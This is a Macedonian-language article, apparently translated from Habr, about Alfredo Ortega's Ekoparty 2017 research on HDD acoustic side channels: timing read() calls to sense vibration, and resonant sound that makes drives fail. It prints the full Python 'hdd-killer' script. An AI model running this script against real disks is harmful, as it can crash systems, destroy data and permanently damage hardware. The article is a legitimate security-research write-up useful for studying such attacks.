Π—ΠΎΡˆΡ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° врСскатС Π½Π° Π²Π°ΡˆΠΈΠΎΡ‚ HDD

Π—ΠΎΡˆΡ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° врСскатС Π½Π° Π²Π°ΡˆΠΈΠΎΡ‚ HDD

На ΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΡ˜Π°Ρ‚Π° Π·Π° ΠΊΠΎΠΌΠΏΡ˜ΡƒΡ‚Π΅Ρ€ΡΠΊΠ° бСзбСдност Ekoparty 2017 Π²ΠΎ БуСнос АирСс, аргСнтинскиот Ρ…Π°ΠΊΠ΅Ρ€ АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° ΠΏΠΎΠΊΠ°ΠΆΠ° ΠΌΠ½ΠΎΠ³Ρƒ интСрСсСн Ρ€Π°Π·Π²ΠΎΡ˜ - систСм Π·Π° Ρ‚Π°Ρ˜Π½ΠΎ ΠΏΡ€ΠΈΡΠ»ΡƒΡˆΡƒΠ²Π°ΡšΠ΅ Π½Π° простории Π±Π΅Π· ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½. Π—Π²ΡƒΠΊ снимСн Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ Π½Π° Ρ…Π°Ρ€Π΄ дискот!

HDD Π³Π»Π°Π²Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ° Π·Π²ΡƒΡ†ΠΈ со ниска Ρ„Ρ€Π΅ΠΊΠ²Π΅Π½Ρ†ΠΈΡ˜Π° со висок ΠΈΠ½Ρ‚Π΅Π½Π·ΠΈΡ‚Π΅Ρ‚, Ρ‡Π΅ΠΊΠΎΡ€ΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ. Π§ΠΎΠ²Π΅Ρ‡ΠΊΠΈΠΎΡ‚ Π³ΠΎΠ²ΠΎΡ€ сè ΡƒΡˆΡ‚Π΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΏΡ€Π΅ΠΏΠΎΠ·Π½Π°Π΅, ΠΈΠ°ΠΊΠΎ Π½Π°ΡƒΡ‡Π½ΠΈΡ†ΠΈΡ‚Π΅ спровСдуваат ΠΈΡΡ‚Ρ€Π°ΠΆΡƒΠ²Π°ΡšΠ° Π²ΠΎ ΠΎΠ²Π°Π° насока (ΠΏΡ€Π΅ΠΏΠΎΠ·Π½Π°Π²Π°ΡšΠ΅ Π½Π° Π³ΠΎΠ²ΠΎΡ€ со Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ со ниска Ρ„Ρ€Π΅ΠΊΠ²Π΅Π½Ρ†ΠΈΡ˜Π°, ΠΊΠΎΠΈ сС снимаат, Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄ Тироскоп ΠΈΠ»ΠΈ HDD).

Π—Π²ΡƒΠΊΠΎΡ‚ Π΅ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡ˜Π° Π½Π° Π²ΠΎΠ·Π΄ΡƒΡ…ΠΎΡ‚ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ ΠΌΠ΅Π΄ΠΈΡƒΠΌ. Π•Π΄Π½ΠΎ Π»ΠΈΡ†Π΅ Π³ΠΈ ΠΏΠ΅Ρ€Ρ†Π΅ΠΏΠΈΡ€Π° ΠΏΡ€Π΅ΠΊΡƒ Ρ‚Π°ΠΏΠ°Π½Ρ‡Π΅Ρ‚ΠΎ, ΠΊΠΎΠ΅ Π³ΠΈ прСнСсува Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π΄ΠΎ Π²Π½Π°Ρ‚Ρ€Π΅ΡˆΠ½ΠΎΡ‚ΠΎ ΡƒΠ²ΠΎ. ΠœΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½ΠΎΡ‚ Π΅ Π΄ΠΈΠ·Π°Ρ˜Π½ΠΈΡ€Π°Π½ ΠΏΡ€ΠΈΠ±Π»ΠΈΠΆΠ½ΠΎ ΠΊΠ°ΠΊΠΎ ΡƒΠ²ΠΎ - ΠΈ ΠΎΠ²Π΄Π΅ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ сС снимаат со Ρ‚Π΅Π½ΠΊΠ° ΠΌΠ΅ΠΌΠ±Ρ€Π°Π½Π°, која Π²ΠΎΠ·Π±ΡƒΠ΄ΡƒΠ²Π° Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΈΡ‡Π΅Π½ импулс. Π₯Π°Ρ€Π΄ дискот, сС Ρ€Π°Π·Π±ΠΈΡ€Π°, исто Ρ‚Π°ΠΊΠ° Π΅ ΠΏΠΎΠ΄Π»ΠΎΠΆΠ΅Π½ Π½Π° микроскопски Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎΡ€Π°Π΄ΠΈ Ρ„Π»ΡƒΠΊΡ‚ΡƒΠ°Ρ†ΠΈΠΈ Π½Π° ΠΎΠΊΠΎΠ»Π½ΠΈΠΎΡ‚ Π²ΠΎΠ·Π΄ΡƒΡ…. Ова Π΅ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΎ Π΄ΡƒΡ€ΠΈ ΠΈ ΠΎΠ΄ Ρ‚Π΅Ρ…Π½ΠΈΡ‡ΠΊΠΈΡ‚Π΅ карактСристики Π½Π° HDD-Π°: ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅ ΠΎΠ±ΠΈΡ‡Π½ΠΎ ΡƒΠΊΠ°ΠΆΡƒΠ²Π°Π°Ρ‚ Π½Π° максимално Π΄ΠΎΠ·Π²ΠΎΠ»Π΅Π½ΠΎΡ‚ΠΎ Π½ΠΈΠ²ΠΎ Π½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, Π° самиот Ρ…Π°Ρ€Π΄ диск чСсто сС ΠΎΠ±ΠΈΠ΄ΡƒΠ²Π° Π΄Π° Π³ΠΎ стави Π²ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Ρ˜Π½Π΅Ρ€ ΠΎΡ‚ΠΏΠΎΡ€Π΅Π½ Π½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ Π½Π°ΠΏΡ€Π°Π²Π΅Π½ ΠΎΠ΄ Π³ΡƒΠΌΠ° ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ ΠΈΠ·ΠΎΠ»Π°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΡ˜Π°Π». Од ΠΎΠ²Π° лСсно ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π·Π°ΠΊΠ»ΡƒΡ‡ΠΈ Π΄Π΅ΠΊΠ° Π·Π²ΡƒΡ†ΠΈΡ‚Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° сС снимаат со помош Π½Π° HDD. ΠžΡΡ‚Π°Π½ΡƒΠ²Π° само Π΄Π° Π΄ΠΎΠ·Π½Π°Π΅ΠΌΠ΅ ΠΊΠ°ΠΊΠΎ.

АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ ΡƒΠ½ΠΈΠΊΠ°Ρ‚Π½Π° Π²Π΅Ρ€Π·ΠΈΡ˜Π° Π½Π° Π½Π°ΠΏΠ°Π΄ ΠΎΠ΄ страничСн ΠΊΠ°Π½Π°Π», ΠΈΠΌΠ΅Π½ΠΎ врСмСнски Π½Π°ΠΏΠ°Π΄. Овој Π½Π°ΠΏΠ°Π΄ сС заснова Π½Π° прСтпоставката Π΄Π΅ΠΊΠ° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сС Π²Ρ€ΡˆΠ°Ρ‚ Π½Π° ΡƒΡ€Π΅Π΄ΠΎΡ‚ Π²ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅, Π²ΠΎ зависност ΠΎΠ΄ Π΄Π°Π΄Π΅Π½ΠΈΡ‚Π΅ Π²Π»Π΅Π·Π½ΠΈ ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈ. Π’ΠΎ овој ΡΠ»ΡƒΡ‡Π°Ρ˜, β€žΠ²Π»Π΅Π·Π½ΠΈ ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈβ€œ сС Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Π³Π»Π°Π²Π°Ρ‚Π° Π·Π° Ρ‡ΠΈΡ‚Π°ΡšΠ΅ ΠΈ ΠΏΠ»ΠΎΡ‡Π°Ρ‚Π° Π·Π° HDD, ΠΊΠΎΠΈ сС Π²ΠΎ ΠΊΠΎΡ€Π΅Π»Π°Ρ†ΠΈΡ˜Π° со Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° ΠΎΠΊΠΎΠ»ΠΈΠ½Π°Ρ‚Π°, односно со Π·Π²ΡƒΠΊΠΎΡ‚. Π’Π°ΠΊΠ°, со ΠΌΠ΅Ρ€Π΅ΡšΠ΅ Π½Π° Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π½Π° ΠΏΡ€Π΅ΡΠΌΠ΅Ρ‚ΡƒΠ²Π°ΡšΠ΅ ΠΈ ΠΈΠ·Π²Ρ€ΡˆΡƒΠ²Π°ΡšΠ΅ Π½Π° статистичка Π°Π½Π°Π»ΠΈΠ·Π° Π½Π° ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈΡ‚Π΅, ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΈΠ·ΠΌΠ΅Ρ€Π°Ρ‚ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Π³Π»Π°Π²Π°Ρ‚Π°/послуТавникот, Π° со Ρ‚ΠΎΠ° ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° ΠΌΠ΅Π΄ΠΈΡƒΠΌΠΎΡ‚. ΠšΠΎΠ»ΠΊΡƒ ΠΏΠΎΠ΄ΠΎΠ»Π³ΠΎ Π΄ΠΎΡ†Π½Π΅ΡšΠ΅Ρ‚ΠΎ Π²ΠΎ Ρ‡ΠΈΡ‚Π°ΡšΠ΅Ρ‚ΠΎ ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈ, Ρ‚ΠΎΠ»ΠΊΡƒ посилни сС Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° HDD ΠΈ, спорСд Ρ‚ΠΎΠ°, Π·Π²ΡƒΠΊΠΎΡ‚ Π΅ погласСн.

Како Π΄Π° сС ΠΈΠ·ΠΌΠ΅Ρ€ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Ρ…Π°Ρ€Π΄ дискот? ΠœΠ½ΠΎΠ³Ρƒ Сдноставно: само ΠΈΠ·Π²Ρ€ΡˆΠ΅Ρ‚Π΅ Π³ΠΎ систСмскиот ΠΏΠΎΠ²ΠΈΠΊ read () β€” ΠΈ Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎ Π·Π° Π΄Π° сС Π·Π°Π²Ρ€ΡˆΠΈ. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈ систСми Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡƒΠ²Π°Π°Ρ‚ Π΄Π° Π³ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π½Π° систСмскитС ΠΏΠΎΠ²ΠΈΡ†ΠΈ со точност ΠΎΠ΄ наносСкунда.

Π‘Ρ€Π·ΠΈΠ½Π°Ρ‚Π° Π½Π° Ρ‡ΠΈΡ‚Π°ΡšΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ΄ сСктор зависи ΠΎΠ΄ ΠΏΠΎΠ»ΠΎΠΆΠ±Π°Ρ‚Π° Π½Π° Π³Π»Π°Π²Π°Ρ‚Π° ΠΈ послуТавникот, ΡˆΡ‚ΠΎ Π΅ Π²ΠΎ ΠΊΠΎΡ€Π΅Π»Π°Ρ†ΠΈΡ˜Π° со Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° ΠΊΡƒΡœΠΈΡˆΡ‚Π΅Ρ‚ΠΎ Π½Π° HDD. Π’ΠΎΠ° Π΅ сС.

Бтатистичката Π°Π½Π°Π»ΠΈΠ·Π° сС Π²Ρ€ΡˆΠΈ со ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° Сдноставна Π°Π»Π°Ρ‚ΠΊΠ° Kscope. Како ΡˆΡ‚ΠΎ Π²Π΅Π»Π°Ρ‚, сè гСнијално Π΅ Сдноставно.

Π—ΠΎΡˆΡ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° врСскатС Π½Π° Π²Π°ΡˆΠΈΠΎΡ‚ HDD
Kscope Π°Π»Π°Ρ‚ΠΊΠ° (stat() syscall)

Kscope Π΅ ΠΌΠ°Π»Π° Π°Π»Π°Ρ‚ΠΊΠ° Π·Π° Π²ΠΈΠ·ΡƒΠ΅Π»ΠΈΠ·Π°Ρ†ΠΈΡ˜Π° Π½Π° ΠΌΠ°Π»ΠΈ Ρ€Π°Π·Π»ΠΈΠΊΠΈ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π½Π° ΠΈΠ·Π²Ρ€ΡˆΡƒΠ²Π°ΡšΠ΅ Π½Π° систСмскитС ΠΏΠΎΠ²ΠΈΡ†ΠΈ. Π˜Π·Π²ΠΎΡ€ΠΎΠ±Ρ˜Π°Π²Π΅Π½ΠΎ Π½Π° GitHub.

Π’ΠΎ посСбно ΡΠΊΠ»Π°Π΄ΠΈΡˆΡ‚Π΅ HDD-Π²Ρ€Π΅ΠΌΠ΅ постои Π²Π΅Ρ€Π·ΠΈΡ˜Π° Π½Π° Π°Π»Π°Ρ‚ΠΊΠ°Ρ‚Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π° Π·Π° врСмСнски Π½Π°ΠΏΠ°Π΄ Π½Π° Ρ…Π°Ρ€Π΄ дискот, односно ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π° Π΄Π° Π³ΠΎ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π° систСмскиот ΠΏΠΎΠ²ΠΈΠΊ read ().

Π”Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡ˜Π° Π½Π° снимањС Π·Π²ΡƒΠΊ со помош Π½Π° HDD, Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° Π°Π»Π°Ρ‚ΠΊΠ°Ρ‚Π° Kscope


Π‘Π΅ Ρ€Π°Π·Π±ΠΈΡ€Π°, Π³ΠΎΠ²ΠΎΡ€ΠΎΡ‚ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° сС Ρ€Π°Π·Π±Π΅Ρ€Π΅ Π½Π° овој Π½Π°Ρ‡ΠΈΠ½, Π½ΠΎ HDD Π΅ сосСма ΠΏΠΎΠ³ΠΎΠ΄Π΅Π½ ΠΊΠ°ΠΊΠΎ сСнзор Π·Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ. На ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° сС рСгистриратС Π°ΠΊΠΎ Π»ΠΈΡ†Π΅ ΠΊΠΎΠ΅ носи Ρ‚Π²Ρ€Π΄ΠΈ Ρ‡Π΅Π²Π»ΠΈ ΠΈΠ»ΠΈ бос Π²Π»Π΅Π³Π»ΠΎ Π²ΠΎ ΠΏΡ€ΠΎΡΡ‚ΠΎΡ€ΠΈΡ˜Π° со ΠΊΠΎΠΌΠΏΡ˜ΡƒΡ‚Π΅Ρ€ (Π²Π΅Ρ€ΠΎΡ˜Π°Ρ‚Π½ΠΎ, Π°ΠΊΠΎ Π½Π°ΠΏΠ°Ρ“Π°Ρ‡ΠΎΡ‚ носи ΠΌΠ΅ΠΊΠΈ ΠΏΠ°Ρ‚ΠΈΠΊΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ° Π΄Π΅Π±Π΅Π» Ρ‚Π΅ΠΏΠΈΡ… Π½Π° ΠΏΠΎΠ΄ΠΎΡ‚, HDD Π½Π΅ΠΌΠ° Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° рСгистрира Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ - ΠΎΠ²Π° Π²Ρ€Π΅Π΄ΠΈ Π΄Π° сС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈ). ΠšΠΎΠΌΠΏΡ˜ΡƒΡ‚Π΅Ρ€ΠΎΡ‚ ΠΌΠΎΠΆΠ΅ Π΄Π° рСгистрира ΡΠΊΡ€ΡˆΠ΅Π½ΠΎ стакло ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ со силСн ΠΈΠ½Ρ‚Π΅Π½Π·ΠΈΡ‚Π΅Ρ‚ Π½Π° Π·Π²ΡƒΠΊ. Односно, Ρ…Π°Ρ€Π΄ дискот ΠΌΠΎΠΆΠ΅ Π΄Π° послуТи ΠΊΠ°ΠΊΠΎ Π΅Π΄Π΅Π½ Π²ΠΈΠ΄ нСовластСн систСм Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°ΡšΠ΅ Π½Π° ΡƒΠΏΠ°Π΄.

Π£Π±ΠΈΠ΅Ρ† Π½Π° HDD

ΠŸΠ°Ρ‚Π΅ΠΌ, слична Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° сС користи Π·Π° ΠΎΠ½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΡƒΠ²Π°ΡšΠ΅ Π½Π° Ρ…Π°Ρ€Π΄ дискови. Π‘Π°ΠΌΠΎ ΠΎΠ²Π΄Π΅ Π½Π΅ Π³ΠΈ отстранувамС осцилациитС ΠΎΠ΄ HDD, Ρ‚ΡƒΠΊΡƒ Π½Π°ΠΏΡ€ΠΎΡ‚ΠΈΠ², Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°ΠΌΠ΅ осцилации ΠΊΠΎΠΈ сС Π½Π°ΠΏΠΎΡ˜ΡƒΠ²Π°Π°Ρ‚ Π½Π° HDD. Ако Ρ€Π΅ΠΏΡ€ΠΎΠ΄ΡƒΡ†ΠΈΡ€Π°Ρ‚Π΅ Π·Π²ΡƒΠΊ ΠΎΠ΄ Π·Π²ΡƒΡ‡Π½ΠΈΠΊ Π½Π° Ρ„Ρ€Π΅ΠΊΠ²Π΅Π½Ρ†ΠΈΡ˜Π° ΡˆΡ‚ΠΎ Ρ€Π΅Π·ΠΎΠ½ΠΈΡ€Π° со Ρ„Ρ€Π΅ΠΊΠ²Π΅Π½Ρ†ΠΈΡ˜Π°Ρ‚Π° Π½Π° HDD, систСмот наскоро Π³ΠΎ исклучува ΡƒΡ€Π΅Π΄ΠΎΡ‚ со I/O Π³Ρ€Π΅ΡˆΠΊΠ° (ΠΊΠ΅Ρ€Π½Π΅Π»ΠΎΡ‚ Π½Π° Linux цСлосно Π³ΠΎ исклучува HDD ΠΏΠΎ 120 сСкунди). Π‘Π°ΠΌΠΈΠΎΡ‚ Ρ…Π°Ρ€Π΄ диск ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡ€Π΅Ρ‚Ρ€ΠΏΠΈ Π½Π΅ΠΏΠΎΠ²Ρ€Π°Ρ‚Π½ΠΎ ΠΎΡˆΡ‚Π΅Ρ‚ΡƒΠ²Π°ΡšΠ΅.

Π—ΠΎΡˆΡ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° врСскатС Π½Π° Π²Π°ΡˆΠΈΠΎΡ‚ HDD
ΠˆΠ°Π΄Ρ€ΠΎΡ‚ΠΎ Π½Π° Linux Π³ΠΎ исклучи Ρ…Π°Ρ€Π΄ дискот ΠΏΠΎ 120 сСкунди ΠΈΡΠΏΠΎΡ€Π°Ρ‡ΡƒΠ²Π°ΡšΠ΅ Π·Π²ΡƒΠΊ со Ρ€Π΅Π·ΠΎΠ½Π°Π½Ρ‚Π½Π° Ρ„Ρ€Π΅ΠΊΠ²Π΅Π½Ρ†ΠΈΡ˜Π° ΠΏΡ€Π΅ΠΊΡƒ Π·Π²ΡƒΡ‡Π½ΠΈΠΊΠΎΡ‚ Π½Π° Π·Π²ΡƒΡ‡Π½ΠΈΠΊΠΎΡ‚ Edifier r19u USB. Π—Π²ΡƒΡ‡Π½ΠΈΠΊΠΎΡ‚ Π΅ Π²ΠΊΠ»ΡƒΡ‡Π΅Π½ со ΠΎΠΊΠΎΠ»Ρƒ Π΅Π΄Π½Π° Ρ‡Π΅Ρ‚Π²Ρ€Ρ‚ΠΈΠ½Π° ΠΎΠ΄ ΠΌΠΎΡœΠ½ΠΎΡΡ‚Π° (ΠΏΠΎΠΌΠ°Π»ΠΊΡƒ ΠΎΠ΄ 100 mW) ΠΈ сС Π½Π°ΠΎΡ“Π° Π½Π° 20 cm ΠΎΠ΄ HDD, насочСн ΠΊΠΎΠ½ масата Π·Π° Π΄Π° Π³ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Ρ€ΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅. Π Π°ΠΌΠΊΠ° ΠΎΠ΄ Π’ΠΈΠ΄Π΅ΠΎ со Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡ˜Π° Π½Π° ΡƒΠ±ΠΈΠ΅Ρ†ΠΎΡ‚ Π½Π° HDD

Π˜Π½Ρ‚Π΅Ρ€Π΅ΡΠ½ΠΎ Π΅ ΡˆΡ‚ΠΎ Ρ‚Π°ΠΊΠ²ΠΈΡ‚Π΅ β€žΠ½Π°ΠΏΠ°Π΄ΠΈβ€œ Π½Π° HDD понСкогаш сС случуваат сосСма ΡΠ»ΡƒΡ‡Π°Ρ˜Π½ΠΎ Π²ΠΎ ΡΠ΅ΠΊΠΎΡ˜Π΄Π½Π΅Π²Π½ΠΈΠΎΡ‚ ΠΆΠΈΠ²ΠΎΡ‚. На ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ сСптСмври 2016 Π³ΠΎΠ΄ΠΈΠ½Π°, Ρ†Π΅Π½Ρ‚Π°Ρ€ΠΎΡ‚ Π·Π° ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈ Π½Π° ING Bank бСшС ΠΏΡ€ΠΈΠ½ΡƒΠ΄Π΅Π½ Π΄Π° ја ΠΏΡ€Π΅ΠΊΠΈΠ½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚Π° Π½Π° 10 часа ΠΏΠΎ ΠΏΠΎΠΆΠ°Ρ€Π½Π° Π²Π΅ΠΆΠ±Π°. ДСсСтици Ρ…Π°Ρ€Π΄ дискови Π½Π΅ ΡƒΡΠΏΠ΅Π°Ρ˜Π° ΠΏΠΎΡ€Π°Π΄ΠΈ силниот Π·Π²ΡƒΠΊ Π½Π° ΠΈΠ½Π΅Ρ€Ρ‚Π΅Π½ гас кој сС ослободува ΠΎΠ΄ Ρ†ΠΈΠ»ΠΈΠ½Π΄Ρ€ΠΈΡ‚Π΅ ΠΏΠΎΠ΄ висок притисок. Π—Π²ΡƒΠΊΠΎΡ‚ бСшС ΠΌΠ½ΠΎΠ³Ρƒ гласСн (повСќС ΠΎΠ΄ 130 dB), Π½ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½ΠΈ Π΄Π° Π²ΠΈΠΊΠ°Ρ‚Π΅ Π½Π° Ρ…Π°Ρ€Π΄ дисковитС - ΠΎΠ²Π° Π³ΠΎ Π·Π³ΠΎΠ»Π΅ΠΌΡƒΠ²Π° Π΄ΠΎΡ†Π½Π΅ΡšΠ΅Ρ‚ΠΎ ΠΏΡ€ΠΈ пристапот Π΄ΠΎ HDD.

Π”Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡ˜Π° Π½Π° Ρ‡ΠΎΠ²Π΅Ρ‡ΠΊΠΎ Π²Ρ€Π΅ΡΠΊΠ°ΡšΠ΅ Π½Π° Ρ…Π°Ρ€Π΄ дискови Π²ΠΎ Ρ†Π΅Π½Ρ‚Π°Ρ€ΠΎΡ‚ Π·Π° ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈ. ΠœΠ΅Ρ€Π΅ΡšΠ΅ Π½Π° латСнтност


Π—Π° Π΄Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π° Ρ€Π΅Π·ΠΎΠ½Π°Π½Ρ‚Π΅Π½ Π·Π²ΡƒΠΊ, АлфрСдо ΠžΡ€Ρ‚Π΅Π³Π° напишал скрипта Π·Π° ΠŸΠ°Ρ˜Ρ‚ΠΎΠ½ Π½Π°Ρ€Π΅Ρ‡Π΅Π½Π° HDD-ΡƒΠ±ΠΈΠ΅Ρ† (Π²ΠΈΠ΄Π΅ΠΎ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡ˜Π°).

Π‘ΠΊΡ€ΠΈΠΏΡ‚Π° Π·Π° ΡƒΠ±ΠΈΠ΅Ρ† Π½Π° HDD Π’ΠΎΠ° Π΅ ΠΏΡ€ΠΈΠ»ΠΈΡ‡Π½ΠΎ ΠΌΠ°Π»ΠΎ, ΠΏΠ° ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π³ΠΎ ΠΎΠ±Ρ˜Π°Π²ΠΈΡ‚Π΅ Π²ΠΎ цСлост ΠΎΠ²Π΄Π΅.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Π˜Π·Π²ΠΎΡ€: www.habr.com

Π”ΠΎΠ΄Π°Π΄Π΅Ρ‚Π΅ ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€